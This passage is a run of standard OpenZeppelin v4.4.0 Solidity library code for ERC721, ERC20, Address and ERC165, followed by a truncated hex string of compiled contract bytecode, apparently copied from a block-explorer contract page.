bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x60806040526004361061027d5760003560e01c80636352211e1161014f578063a22cb465116100c1578063c59d48471161007a578063c59d484714610982578063c6aa7773146109af578063c87b56dd146109ed578063e985e9c514610a2a578063f2fde38b14610a67578063f47c84c514610a905761027d565b8063a22cb46514610872578063ab33baa31461089b578063b09afec1146108c6578063b88d4fde14610903578063c002d23d1461092c578063c084f540146109575761027d565b80637f649783116101135780637f6497831461077457806386b895931461079d57806388089f0b146107c85780638da5cb5b146107f357806395d89b411461081e5780639c7f707f146108495761027d565b80636352211e1461069c57806367f68fac146106d957806370a08231146106f557806370e730f114610732578063715018a61461075d5761027d565b80632ce0086a116101f357806342842e0e116101ac57806342842e0e1461058a5780634d2aabd4146105b35780634f02c420146105de5780634f6ccce7146106095780635c975abb146106465780635d15887a146106715761027d565b80632ce0086a1461047a5780632f745c59146104a55780633431a753146104e2578063372c12b11461050b5780633ccfd60b146105485780634018b1f81461055f5761027d565b806316c38b3c1161024557806316c38b3c1461037b57806317ebfe54146103a457806318160ddd146103c05780631feeb13c146103eb57806323b872dd1461041457806327de8f271461043d5761027d565b806301ffc9a71461028257806306fdde03146102bf578063081812fc146102ea578063095ea7b314610327578063157a9c0114610350575b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a49190614391565b610abb565b6040516102b69190614c3b565b60405180910390f35b3480156102cb57600080fd5b506102d4610b35565b6040516102e19190614cb5565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c919061446c565b610bc7565b60405161031e9190614b7b565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906142db565b610c4c565b005b34801561035c57600080fd5b50610365610d64565b604051610372919061504d565b60405180910390f35b34801561038757600080fd5b506103a2600480360381019061039d9190614364565b610d6a565b005b6103be60048036038101906103b99190614499565b610e05565b005b3480156103cc57600080fd5b506103d5611409565b6040516103e2919061504d565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d919061412b565b611416565b005b34801561042057600080fd5b5061043b600480360381019061043691906141c5565b6114d6565b005b34801561044957600080fd5b50610464600480360381019